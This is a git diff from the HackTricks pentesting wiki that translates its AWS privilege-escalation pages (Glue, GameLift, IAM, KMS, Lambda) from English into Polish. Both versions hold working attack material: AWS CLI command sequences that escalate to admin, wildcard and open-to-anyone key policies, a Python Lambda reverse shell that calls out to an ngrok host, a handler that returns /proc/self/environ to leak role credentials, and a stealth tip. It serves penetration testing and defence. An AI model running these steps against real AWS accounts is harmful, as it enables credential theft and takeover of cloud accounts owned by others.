związaną.\ +URL notatnika to `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related +> Nawet jeśli przypiszesz rolę IAM do instancji notatnika, w moich testach zauważyłem, że mogłem ukraść poświadczenia zarządzane przez AWS, a nie poświadczenia związane z rolą IAM. -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Potencjalny wpływ:** Privesc do zarządzanej roli AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index b40cdf413..b5be0d2f8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,19 +4,13 @@ ### `gamelift:RequestUploadCredentials` -With this permission an attacker can retrieve a **fresh set of credentials for use when uploading** a new set of game build files to Amazon GameLift's Amazon S3. It'll return **S3 upload credentials**. - +Dzięki temu uprawnieniu atakujący może uzyskać **nowy zestaw poświadczeń do użycia podczas przesyłania** nowego zestawu plików z budową gry do Amazon GameLift's Amazon S3. Zwróci **poświadczenia do przesyłania S3**. ```bash aws gamelift request-upload-credentials \ - --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 ``` - ## References - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 049d3b273..e25bf90ca 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,15 +6,14 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with these permissions can **set up a new AWS Glue development endpoint**, **assigning an existing service role assumable by Glue** with specific permissions to this endpoint. - -After the setup, the **attacker can SSH into the endpoint's instance**, and steal the IAM credentials of the assigned role: +Użytkownicy z tymi uprawnieniami mogą **ustawić nowy punkt końcowy AWS Glue do rozwoju**, **przypisując istniejącą rolę serwisową, którą można przyjąć przez Glue**, z określonymi uprawnieniami do tego punktu końcowego. +Po skonfigurowaniu, **atakujący może SSH do instancji punktu końcowego**, i ukraść poświadczenia IAM przypisanej roli: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ - --role-arn \ - --public-key file:///ssh/key.pub +--role-arn \ +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -23,19 +22,17 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` +Dla celów ukrycia, zaleca się użycie poświadczeń IAM z wnętrza wirtualnej maszyny Glue. -For stealth purpose, it's recommended to use the IAM credentials from inside the Glue virtual machine. - -**Potential Impact:** Privesc to the glue service role specified. +**Potencjalny wpływ:** Privesc do roli usługi glue określonej. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with this permission can **alter an existing Glue development** endpoint's SSH key, **enabling SSH access to it**. This allows the attacker to execute commands with the privileges of the endpoint's attached role: - +Użytkownicy z tym uprawnieniem mogą **zmienić istniejący klucz SSH** punktu końcowego rozwoju Glue, **umożliwiając dostęp SSH do niego**. To pozwala atakującemu na wykonywanie poleceń z uprawnieniami przypisanej roli punktu końcowego: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ - --public-key file:///ssh/key.pub +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -44,13 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` - -**Potential Impact:** Privesc to the glue service role used. +**Potencjalny wpływ:** Privesc do roli usługi glue używanej. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:UpdateJob`**, and either **`glue:StartJobRun` or `glue:CreateTrigger`** can **create or update an AWS Glue job**, attaching any **Glue service account**, and initiate the job's execution. The job's capabilities include running arbitrary Python code, which can be exploited to establish a reverse shell. This reverse shell can then be utilized to exfiltrate the **IAM credential**s of the role attached to the Glue job, leading to potential unauthorized access or actions based on the permissions of that role: - +Użytkownicy z **`iam:PassRole`** w połączeniu z **`glue:CreateJob` lub `glue:UpdateJob`**, oraz **`glue:StartJobRun` lub `glue:CreateTrigger`** mogą **tworzyć lub aktualizować zadanie AWS Glue**, przypisując dowolne **konto usługi Glue**, i inicjować wykonanie zadania. Możliwości zadania obejmują uruchamianie dowolnego kodu Python, co można wykorzystać do ustanowienia odwrotnego powłoki. Ta odwrotna powłoka może być następnie wykorzystana do wykradzenia **poświadczeń IAM** roli przypisanej do zadania Glue, co prowadzi do potencjalnego nieautoryzowanego dostępu lub działań opartych na uprawnieniach tej roli: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -65,32 +60,27 @@ Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:U # A Glue role with admin access was created aws glue create-job \ - --name privesctest \ - --role arn:aws:iam::93424712358:role/GlueAdmin \ - --command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' +--name privesctest \ +--role arn:aws:iam::93424712358:role/GlueAdmin \ +--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' # You can directly start the job aws glue start-job-run --job-name privesctest # Or you can create a trigger to start it aws glue create-trigger --name triggerprivesc --type SCHEDULED \ - --actions '[{"JobName": "privesctest"}]' --start-on-creation \ - --schedule "0/5 * * * * *" #Every 5mins, feel free to change +--actions '[{"JobName": "privesctest"}]' --start-on-creation \ +--schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` - -**Potential Impact:** Privesc to the glue service role specified. +**Potencjalny wpływ:** Privesc do roli usługi glue określonej. ### `glue:UpdateJob` -Just with the update permission an attacked could steal the IAM Credentials of the already attached role. +Tylko z uprawnieniem do aktualizacji, atakujący mógłby ukraść poświadczenia IAM już przypisanej roli. -**Potential Impact:** Privesc to the glue service role attached. +**Potencjalny wpływ:** Privesc do roli usługi glue przypisanej. -## References +## Odniesienia - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 7807f6152..0ee48f7fb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -For more info about IAM check: +Aby uzyskać więcej informacji na temat IAM, sprawdź: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,228 +12,189 @@ For more info about IAM check: ### **`iam:CreatePolicyVersion`** -Grants the ability to create a new IAM policy version, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. This enables defining custom permissions. +Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` za pomocą flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień. **Exploit Command:** - ```bash aws iam create-policy-version --policy-arn \ - --policy-document file:///path/to/administrator/policy.json --set-as-default +--policy-document file:///path/to/administrator/policy.json --set-as-default ``` - -**Impact:** Directly escalates privileges by allowing any action on any resource. +**Wpływ:** Bezpośrednio eskaluje uprawnienia, pozwalając na dowolne działanie na dowolnym zasobie. ### **`iam:SetDefaultPolicyVersion`** -Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions. +Pozwala na zmianę domyślnej wersji polityki IAM na inną istniejącą wersję, potencjalnie eskalując uprawnienia, jeśli nowa wersja ma więcej uprawnień. **Bash Command:** - ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` - -**Impact:** Indirect privilege escalation by enabling more permissions. +**Wpływ:** Pośrednia eskalacja uprawnień poprzez włączenie większej liczby uprawnień. ### **`iam:CreateAccessKey`** -Enables creating access key ID and secret access key for another user, leading to potential privilege escalation. - -**Exploit:** +Umożliwia tworzenie identyfikatora klucza dostępu i tajnego klucza dostępu dla innego użytkownika, co prowadzi do potencjalnej eskalacji uprawnień. +**Wykorzystanie:** ```bash aws iam create-access-key --user-name ``` - -**Impact:** Direct privilege escalation by assuming another user's extended permissions. +**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation. - -**Exploit for Creation:** +Pozwala na tworzenie lub aktualizowanie profilu logowania, w tym ustawianie haseł do logowania w konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień. +**Eksploatacja dla utworzenia:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Exploit for Update:** - +**Eksploatacja dla aktualizacji:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Impact:** Direct privilege escalation by logging in as "any" user. +**Wpływ:** Bezpośrednia eskalacja uprawnień przez logowanie się jako "dowolny" użytkownik. ### **`iam:UpdateAccessKey`** -Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key. - -**Exploit:** +Pozwala na włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada wyłączony klucz. +**Wykorzystanie:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` - -**Impact:** Direct privilege escalation by reactivating access keys. +**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez reaktywację kluczy dostępu. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user. - -**Exploit for Creation:** +Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), dziedzicząc uprawnienia powiązanego użytkownika. +**Wykorzystanie do tworzenia:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` - -**Exploit for Reset:** - +**Eksploatacja dla Resetu:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` - -**Impact:** Direct privilege escalation within the user's service permissions. +**Wpływ:** Bezpośrednia eskalacja uprawnień w ramach uprawnień usługi użytkownika. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy. - -**Exploit for User:** +Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio eskalując uprawnienia poprzez dziedziczenie uprawnień dołączonej polityki. +**Wykorzystanie dla użytkownika:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` - -**Exploit for Group:** - +**Eksploatacja dla grupy:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` - -**Impact:** Direct privilege escalation to anything the policy grants. +**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje polityka. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions. - -**Exploit for Role:** +Pozwala na dołączanie lub umieszczanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez przyznawanie dodatkowych uprawnień. +**Wykorzystanie dla roli:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` - -**Exploit for Inline Policies:** - +**Eksploatacja dla Polityk Inline:** ```bash aws iam put-user-policy --user-name --policy-name "" \ - --policy-document "file:///path/to/policy.json" +--policy-document "file:///path/to/policy.json" aws iam put-group-policy --group-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json aws iam put-role-policy --role-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json ``` - -You can use a policy like: - +Możesz użyć polityki takiej jak: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } ``` - -**Impact:** Direct privilege escalation by adding permissions through policies. +**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez dodawanie uprawnień za pomocą polityk. ### **`iam:AddUserToGroup`** -Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions. - -**Exploit:** +Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy. +**Wykorzystanie:** ```bash aws iam add-user-to-group --group-name --user-name ``` - -**Impact:** Direct privilege escalation to the level of the group's permissions. +**Wpływ:** Bezpośrednia eskalacja uprawnień do poziomu uprawnień grupy. ### **`iam:UpdateAssumeRolePolicy`** -Allows altering the assume role policy document of a role, enabling the assumption of the role and its associated permissions. - -**Exploit:** +Pozwala na modyfikację dokumentu polityki przyjmowania roli, umożliwiając przyjęcie roli i jej powiązanych uprawnień. +**Eksploatacja:** ```bash aws iam update-assume-role-policy --role-name \ - --policy-document file:///path/to/assume/role/policy.json +--policy-document file:///path/to/assume/role/policy.json ``` - -Where the policy looks like the following, which gives the user permission to assume the role: - +Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienia do przyjęcia roli: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "sts:AssumeRole", - "Principal": { - "AWS": "$USER_ARN" - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sts:AssumeRole", +"Principal": { +"AWS": "$USER_ARN" +} +} +] } ``` - -**Impact:** Direct privilege escalation by assuming any role's permissions. +**Wpływ:** Bezpośrednia eskalacja uprawnień przez przyjęcie uprawnień dowolnej roli. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation. - -**Exploit for SSH Key Upload:** +Pozwala na przesyłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co prowadzi do potencjalnej pośredniej eskalacji uprawnień. +**Wykorzystanie do przesyłania klucza SSH:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` - -**Exploit for MFA Deactivation:** - +**Eksploatacja dezaktywacji MFA:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` - -**Impact:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection. +**Wpływ:** Pośrednia eskalacja uprawnień poprzez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA. ### **`iam:ResyncMFADevice`** -Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection. - -**Bash Command:** +Pozwala na resynchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień poprzez manipulację ochroną MFA. +**Polecenie Bash:** ```bash aws iam resync-mfa-device --user-name --serial-number \ - --authentication-code1 --authentication-code2 +--authentication-code1 --authentication-code2 ``` - -**Impact:** Indirect privilege escalation by adding or manipulating MFA devices. +**Wpływ:** Pośrednia eskalacja uprawnień poprzez dodawanie lub manipulowanie urządzeniami MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -With these permissions you can **change the XML metadata of the SAML connection**. Then, you could abuse the **SAML federation** to **login** with any **role that is trusting** it. - -Note that doing this **legit users won't be able to login**. However, you could get the XML, so you can put yours, login and configure the previous back +Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **federacji SAML**, aby **zalogować się** z dowolną **rolą, która jej ufa**. +Zauważ, że robiąc to **legitni użytkownicy nie będą mogli się zalogować**. Możesz jednak uzyskać XML, aby wprowadzić swój, zalogować się i skonfigurować poprzednie ustawienia. ```bash # List SAMLs aws iam list-saml-providers @@ -249,14 +210,12 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` - > [!NOTE] -> TODO: A Tool capable of generating the SAML metadata and login with a specified role +> TODO: Narzędzie zdolne do generowania metadanych SAML i logowania się z określoną rolą ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Unsure about this) If an attacker has these **permissions** he could add a new **Thumbprint** to manage to login in all the roles trusting the provider. - +(Niepewne) Jeśli atakujący ma te **uprawnienia**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się we wszystkich rolach ufających dostawcy. ```bash # List providers aws iam list-open-id-connect-providers @@ -265,13 +224,8 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` - -## References +## Odniesienia - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 02c05b76d..961bab78f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -4,7 +4,7 @@ ## KMS -For more info about KMS check: +Aby uzyskać więcej informacji na temat KMS, sprawdź: {{#ref}} ../aws-services/aws-kms-enum.md @@ -12,8 +12,7 @@ For more info about KMS check: ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone: - +Dzięki tym uprawnieniom możliwe jest **zmodyfikowanie uprawnień dostępu do klucza**, aby mógł być używany przez inne konta lub nawet przez każdego: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -21,106 +20,91 @@ aws kms get-key-policy --key-id --policy-name # AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow all use", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": ["kms:*"], - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow all use", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": ["kms:*"], +"Resource": "*" +} +] } ``` - ### `kms:CreateGrant` -It **allows a principal to use a KMS key:** - +Pozwala **podmiotowi na użycie klucza KMS:** ```bash aws kms create-grant \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - --grantee-principal arn:aws:iam::123456789012:user/exampleUser \ - --operations Decrypt +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +--grantee-principal arn:aws:iam::123456789012:user/exampleUser \ +--operations Decrypt ``` +> [!WARNING] +> Grant może pozwalać tylko na określone typy operacji: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -> [!WARNING] -> Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\ -> However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\ -> For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). - +> Należy pamiętać, że może minąć kilka minut, zanim KMS **pozwoli użytkownikowi na użycie klucza po wygenerowaniu grant**. Po upływie tego czasu, podmiot może używać klucza KMS bez potrzeby określania czegokolwiek.\ +> Jednak, jeśli konieczne jest natychmiastowe użycie grantu [użyj tokena grantu](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (sprawdź poniższy kod).\ +> Dla [**więcej informacji przeczytaj to**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - –-key-spec AES_256 \ - --grant-tokens $token +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +–-key-spec AES_256 \ +--grant-tokens $token ``` - -Note that it's possible to list grant of keys with: - +Zauważ, że możliwe jest wylistowanie uprawnień kluczy za pomocą: ```bash aws kms list-grants --key-id ``` - ### `kms:CreateKey`, `kms:ReplicateKey` -With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy. - -So, an attacker could abuse this to obtain privesc his access to the key and use it +Dzięki tym uprawnieniom możliwe jest replikowanie klucza KMS włączonego w wielu regionach w innym regionie z inną polityką. +Zatem atakujący mógłby to wykorzystać, aby uzyskać dostęp do klucza i go użyć. ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - ### `kms:Decrypt` -This permission allows to use a key to decrypt some information.\ -For more information check: +To uprawnienie pozwala na użycie klucza do odszyfrowania informacji.\ +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index d276ef737..3c85358a6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -4,7 +4,7 @@ ## lambda -More info about lambda in: +Więcej informacji o lambda w: {{#ref}} ../aws-services/aws-lambda-enum.md @@ -12,23 +12,22 @@ More info about lambda in: ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\ -They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\ -Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\ - -A attacker could abuse this to get a **rev shell and steal the token**: +Użytkownicy z uprawnieniami **`iam:PassRole`, `lambda:CreateFunction` i `lambda:InvokeFunction`** mogą eskalować swoje uprawnienia.\ +Mogą **utworzyć nową funkcję Lambda i przypisać jej istniejącą rolę IAM**, przyznając funkcji uprawnienia związane z tą rolą. Użytkownik może następnie **napisać i przesłać kod do tej funkcji Lambda (na przykład z rev shellem)**.\ +Gdy funkcja jest skonfigurowana, użytkownik może **wywołać jej wykonanie** i zamierzone działania, wywołując funkcję Lambda za pośrednictwem API AWS. To podejście skutecznie pozwala użytkownikowi na wykonywanie zadań pośrednio za pośrednictwem funkcji Lambda, działając na poziomie dostępu przyznanym do roli IAM z nią związanej.\\ +Atakujący mógłby to wykorzystać, aby uzyskać **rev shell i ukraść token**: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): - s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); - s.connect(('4.tcp.ngrok.io',14305)) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(['/bin/sh','-i']) - time.sleep(900) - return 0 +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); +s.connect(('4.tcp.ngrok.io',14305)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(['/bin/sh','-i']) +time.sleep(900) +return 0 ``` ```bash @@ -37,8 +36,8 @@ zip "rev.zip" "rev.py" # Create the function aws lambda create-function --function-name my_function \ - --runtime python3.9 --role \ - --handler rev.lambda_handler --zip-file fileb://rev.zip +--runtime python3.9 --role \ +--handler rev.lambda_handler --zip-file fileb://rev.zip # Invoke the function aws lambda invoke --function-name my_function output.txt @@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` - -You could also **abuse the lambda role permissions** from the lambda function itself.\ -If the lambda role had enough permissions you could use it to grant admin rights to you: - +Możesz również **nadużyć uprawnień roli lambda** z samej funkcji lambda.\ +Jeśli rola lambda miała wystarczające uprawnienia, możesz jej użyć, aby przyznać sobie prawa administratora: ```python import boto3 def lambda_handler(event, context): - client = boto3.client('iam') - response = client.attach_user_policy( - UserName='my_username', - PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' - ) - return response +client = boto3.client('iam') +response = client.attach_user_policy( +UserName='my_username', +PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' +) +return response ``` - -It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda. - +Możliwe jest również wycieknięcie poświadczeń roli lambdy bez potrzeby nawiązywania zewnętrznego połączenia. Będzie to przydatne dla **Lambd izolowanych sieciowo** używanych do zadań wewnętrznych. Jeśli istnieją nieznane grupy zabezpieczeń filtrujące twoje odwrotne powłoki, ten fragment kodu pozwoli ci bezpośrednio wycieknięcie poświadczeń jako wynik lambdy. ```python def handler(event, context): -    sessiontoken = open('/proc/self/environ', "r").read() -    return { -        'statusCode': 200, -        'session': str(sessiontoken) -    } +sessiontoken = open('/proc/self/environ', "r").read() +return { +'statusCode': 200, +'session': str(sessiontoken) +} ``` ```bash aws lambda invoke --function-name output.txt cat output.txt ``` +**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli usługi lambda określonej. -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. - -> [!CAUTION] -> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction` +> [!OSTRZEŻENIE] +> Zauważ, że nawet jeśli może to wyglądać interesująco, **`lambda:InvokeAsync`** **nie** pozwala samodzielnie na **wykonanie `aws lambda invoke-async`**, potrzebujesz również `lambda:InvokeFunction` ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`** - +Podobnie jak w poprzednim scenariuszu, możesz **przyznać sobie uprawnienie `lambda:InvokeFunction`**, jeśli masz uprawnienie **`lambda:AddPermission`** ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ - --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" +--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` - -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. +**Potencjalny wpływ:** 